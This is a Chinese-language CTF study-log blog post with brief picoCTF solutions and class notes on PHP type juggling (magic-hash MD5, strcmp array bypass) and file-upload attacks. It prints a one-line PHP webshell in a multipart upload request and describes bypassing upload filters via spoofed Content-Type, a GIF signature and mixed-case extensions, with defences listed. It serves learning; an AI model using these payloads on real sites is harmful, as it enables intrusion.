iT邦幫忙

2024 iThome 鐵人賽

DAY 6
0
佛心分享-刷題不只是刷題

一直刷 CTF系列 第 6

一直刷 CTF - Day6

  • 分享至 

  • xImage
  •  

前言

本日進度:

Writeup

第一題:Static ain't always noise

利用 ltdis.sh 分解 static 檔案,就可以從 static.ltdis.strings.txt 中找到 Flag 了

Image
Image

第二題:Nice netcat...

nc 過去之後會噴很多數字出來,感覺像是 ASCII 碼,所以就把他轉成文字就是 Flag 了,我寫了個簡單的程式

text = ""

while True:
    try:
        num = int(input())
        text += chr(num)
    except:
        break

print(text)

Image

第三題:Obedient Cat

就載下來印出來就是 Flag 了

第四題:2Warm

把 42 轉成 2 進位,然後用 picoCTF{} 包起來就是 Flag 了

第五題:First Grep

下載檔案後,用 grep 就能找到 Flag 了
Image

第六題:Bases

base64 解碼就能得到 Flag 了

Image

上課紀錄

Language Trick - php

  • 簡單語法
    Image

  • Weak type
    Image
    0e 開頭的東西會自動轉型成科學記號
    Image
    Image
    Image
    Image
    還有其他若型別轉換的範例,如下的真直表
    Image

  • Parameter Array
    Image

  • Lab - phpisnice
    Image
    雖然他 Lab 還是關掉了,但他有給 code ,所以我可以自己玩玩看!
    去查剛剛那些 MD5 會有問題的字串 然後找到了這個

    String MD5
    0e215962017 0e291242476940776845150308577824

    指定 A=0e215962017 這題應該就能拿到 Flag 了

  • Lab - phpisbest
    Image
    因為他要先過 strcmp($A, $B) == 0 所以先把兩個用成不一樣的陣列,這樣會 null == 0 -> true 就過了,然後 MD5 只要兩個都是陣列就會 null == null -> true,就可以拿到 Flag 了

  • File vs Route
    Image
    Image
    Image

  • Webshell (shell on web)
    惡意的 Webshell
    Image
    Image

      POST /upload.php HTTP/1.1\r\n
    Content-Length: 80172\r\n
    Content-Type: multipart/form-data; boundary=----meow\r\n
    \r\n
    ------owo\r\n
    Content-Disposition: form-data; name="upload"; filename="ouo.txt"\r\n
    Content-Type: text/plain\r\n
    \r\n
    (File Content)
    \r\n
    ------owo--\r\n
    

    改成

    POST /upload.php HTTP/1.1\r\n
    Content-Length: 80172\r\n
    Content-Type: multipart/form-data; boundary=----meow\r\n
    \r\n
    ------owo\r\n
    Content-Disposition: form-data; name="upload"; filename="webshell.php"\r\n
    Content-Type: text/php\r\n
    \r\n
    <?php system($_GET['cmd']);?>
    \r\n
    ------owo--\r\n
    

    怎麼抵擋呢?

    1. 錯誤示範 - 用前端擋,可以輕易繞過
      Image
    2. 檢查 File Content Type
      但是如果把 Request 的 Content-Type 改掉 (例如image/png) 就可以 bypass 了
    3. 檢查 File signature
      • magic number: 透過檢查檔案的開頭幾個 byte 來判斷檔案類型
        Image
        但這東西也很容易被偽造,只要在前面加上簽名就可以了
        Image
        在前面加上 gif87a 後端就會以為上傳的是 gif
    4. 副檔名
      • whitelist
      • blacklist
        Image
        但需要全部都擋掉,不然把副檔名改成 phP 之類的就可能可以繞過
  • Lab - uploader (lab 關掉了)
    照抄剛剛可以觸發 Webshell php,然後就能從根目錄取得 Flag 了

  • Lab - uploader-waf (lab 關掉了)
    他有改 content-type 和副檔名,所以要把前面的 Content-Type: text/php 改成 Content-Type: image/png,然後把副檔名改成 phP 就可以繞過了,接下來就跟上一題一樣在根目錄取得 Flag

參考資料


上一篇
一直刷 CTF - Day5
下一篇
一直刷 CTF - Day7
系列文
一直刷 CTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言